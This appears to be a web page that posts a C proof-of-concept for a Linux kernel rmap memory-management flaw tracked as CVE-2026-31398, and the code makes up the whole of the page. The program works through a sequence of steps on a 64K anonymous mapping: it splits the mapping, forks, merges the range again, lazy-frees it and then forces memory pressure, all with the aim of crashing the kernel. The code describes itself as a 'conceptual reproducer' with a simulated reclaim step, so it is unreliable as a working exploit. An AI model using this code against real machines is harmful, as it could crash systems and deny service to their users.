CVE-2026-31398 Linux内核rmap内存管理权限提升漏洞

/* * PoC for CVE-2026-31398 * Conceptual Reproducer based on vulnerability description. * Requires specific kernel configuration (64K mTHP enabled). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/wait.h> #define MAP_SIZE (64 * 1024) // 64K mTHP void trigger_crash() { // 1. Allocate and fault in a 64K large folio char *mem = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { perror("mmap"); return; } memset(mem, 'A', MAP_SIZE); // Fault in // 2. Split the VMA at mid-point with MADV_DONTFORK madvise(mem, MAP_SIZE / 2, MADV_DONTFORK); // 3. fork() to create parent with mixed writable/non-writable PTEs pid_t pid = fork(); if (pid == 0) { // Child process logic pause(); } else { // Parent process // 4. Merge the VMAs with MADV_DOFORK madvise(mem, MAP_SIZE, MADV_DOFORK); // 5. MADV_FREE on the range to mark as lazyfree madvise(mem, MAP_SIZE, MADV_FREE); // 6. Write to memory to dirty the PTE memset(mem, 'B', MAP_SIZE); // 7. Trigger reclaim (simulated) // In a real scenario, allocate memory to pressure the system // or use the specific reclaim interface mentioned in the trace. printf("Triggering memory pressure to hit reclaim path...\n"); // Allocate until OOM or trigger specific reclaim syscalls size_t huge_alloc = 1024 * 1024 * 1024; void *leak = malloc(huge_alloc); if (leak) memset(leak, 0, huge_alloc); wait(NULL); } } int main() { printf("Starting PoC for CVE-2026-31398\n"); trigger_crash(); return 0; }